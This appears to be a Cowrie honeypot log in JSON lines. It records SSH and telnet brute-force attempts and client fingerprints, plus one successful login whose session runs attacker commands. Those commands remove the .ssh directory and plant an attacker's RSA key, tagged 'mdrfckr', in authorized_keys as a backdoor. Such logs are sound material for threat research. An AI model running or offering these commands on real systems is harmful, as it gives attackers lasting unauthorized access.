{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:54.834013Z","src_ip":"213.209.159.158","session":"4f43bdc34655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7514431476593,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:55.624130Z","src_ip":"62.210.97.77","session":"b3f2473a5931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f382e1f9b0","protocol":"telnet","message":"New connection: 62.210.97.77:56468 (10.17.0.5:23) [session: 88f382e1f9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:56.250677Z"}
{"eventid":"cowrie.session.closed","duration":37.76989245414734,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:56.950958Z","src_ip":"62.210.97.77","session":"2de4a154bb99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.005271673202515,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:59.788558Z","src_ip":"165.232.131.181","session":"b5772c240bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68999743461609,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:02.399027Z","src_ip":"65.60.27.33","session":"29c432032f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.31502723693848,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:04.210931Z","src_ip":"165.232.131.181","session":"6d0734657b3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Usuario","message":"login attempt [root/Usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:04.721573Z","src_ip":"213.209.159.158","session":"4f43bdc34655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55250,"dst_ip":"159.203.135.109","dst_port":22,"session":"547f6e4e7d01","protocol":"ssh","message":"New connection: 80.94.92.182:55250 (159.203.135.109:22) [session: 547f6e4e7d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:05.128362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:05.280274Z","src_ip":"80.94.92.182","session":"547f6e4e7d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:05.284441Z","src_ip":"80.94.92.182","session":"547f6e4e7d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3d","password":"3d","message":"login attempt [3d/3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:05.922199Z","src_ip":"80.94.92.182","session":"547f6e4e7d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35022,"dst_ip":"10.17.0.5","dst_port":23,"session":"823d62497247","protocol":"telnet","message":"New connection: 165.232.131.181:35022 (10.17.0.5:23) [session: 823d62497247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:05.995764Z"}
{"eventid":"cowrie.session.closed","duration":0.005005359649658203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:06.000636Z","src_ip":"165.232.131.181","session":"823d62497247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":40078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf1a6a06d28","protocol":"ssh","message":"New connection: 89.218.69.66:40078 (159.203.135.109:22) [session: ecf1a6a06d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.055986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.060127Z","src_ip":"89.218.69.66","session":"ecf1a6a06d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.073352Z","src_ip":"80.94.92.182","session":"547f6e4e7d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.232300Z","src_ip":"89.218.69.66","session":"ecf1a6a06d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.920751Z","src_ip":"213.209.159.158","session":"4f43bdc34655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminx","message":"login attempt [root/adminx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:07.950624Z","src_ip":"89.218.69.66","session":"ecf1a6a06d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c66ddcf99c","protocol":"ssh","message":"New connection: 213.209.159.158:1462 (10.17.0.5:22) [session: e9c66ddcf99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:08.020417Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc14aaf5753","protocol":"telnet","message":"New connection: 165.232.131.181:35774 (10.17.0.5:23) [session: bdc14aaf5753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:08.843725Z"}
{"eventid":"cowrie.session.closed","duration":35.04281234741211,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:08.973352Z","src_ip":"62.210.97.77","session":"01e26a864667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:09.127795Z","src_ip":"89.218.69.66","session":"ecf1a6a06d28","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:10.440003Z","src_ip":"213.209.159.158","session":"e9c66ddcf99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:10.445426Z","src_ip":"213.209.159.158","session":"e9c66ddcf99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92eca8e4913","protocol":"telnet","message":"New connection: 165.232.131.181:46592 (10.17.0.5:23) [session: f92eca8e4913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:11.427381Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3911200508e","protocol":"telnet","message":"New connection: 165.232.131.181:41476 (10.17.0.5:23) [session: a3911200508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:12.939644Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34870,"dst_ip":"10.17.0.5","dst_port":23,"session":"b366215f4a8c","protocol":"telnet","message":"New connection: 62.210.97.77:34870 (10.17.0.5:23) [session: b366215f4a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:14.065320Z"}
{"eventid":"cowrie.session.closed","duration":5.7066380977630615,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:14.550227Z","src_ip":"165.232.131.181","session":"bdc14aaf5753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34874,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a8aff0896d","protocol":"telnet","message":"New connection: 62.210.97.77:34874 (10.17.0.5:23) [session: d6a8aff0896d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:16.640783Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2fd6d8b9919","protocol":"ssh","message":"New connection: 187.16.96.250:42038 (10.17.0.5:22) [session: e2fd6d8b9919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.028522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.034835Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.158411Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Root1234","message":"login attempt [oracle/Root1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.665227Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.941116Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.944675Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:17.949543Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.070385Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.355821Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.364727Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.495183Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.504721Z","src_ip":"187.16.96.250","session":"e2fd6d8b9919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42050,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac121c596dea","protocol":"ssh","message":"New connection: 187.16.96.250:42050 (10.17.0.5:22) [session: ac121c596dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.608604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.620346Z","src_ip":"187.16.96.250","session":"ac121c596dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:18.744653Z","src_ip":"187.16.96.250","session":"ac121c596dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.520418405532837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:36:19.026701Z","src_ip":"62.210.97.77","session":"809c3f0031ba","protocol":"telnet"}
